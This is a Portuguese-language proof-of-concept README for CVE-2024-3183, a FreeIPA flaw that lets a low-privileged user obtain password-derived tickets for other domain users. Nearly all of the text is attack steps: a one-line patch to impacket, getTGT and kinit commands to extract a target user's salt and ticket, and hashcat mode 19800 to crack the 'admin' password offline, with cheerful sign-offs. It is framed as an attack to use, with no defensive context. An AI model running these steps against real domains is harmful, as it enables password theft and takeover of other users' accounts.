CVE-2024-3183-POC

POC para CVE-2024-3183 (FreeIPA Rosting)

Impacto: Um usuário com baixos privilégios pode obter um hash das senhas de todos os usuários do domínio e realizar força bruta offline (kerberoasting).

Patch do impacket-getTGT:

1. Adicione decoder.decode.defaultErrorState = stGetValueDecoderByTag a impacket/krb5/kerberosv5.py.
2. Aproveite!

POC1:

1. Adicione decoder.decode.defaultErrorState = stGetValueDecoderByTag a impacket/krb5/kerberosv5.py.
2. Você pode usar o impacket-getTGT com a opção -service e a opção -debug para obter o salt em um único comando. impacket-getTGT test.local/user -debug -service admin

POC2:

1. Primeiro, vamos solicitar um ticket TGT para um usuário já comprometido "admin". kinit user
2. Em segundo lugar, vamos descobrir o salt do usuário "admin": printf "%b" "0\n" | KRB5_TRACE=/dev/stdout kinit admin | grep salt
3. Obtenha o TGS para "admin": kvno admin
4. Use o script python (ou hashcat mod 19800 com salt específico) para força bruta do TGS

1 - TGS, 2 - SALT, 3 - Senhas.

5. Parabéns, agora temos a senha do usuário "admin".

POC3:

1. Você pode usar o kinit de uma só vez: kinit -S target user

e você obtém um TGT que é criptografado pela chave do usuário alvo.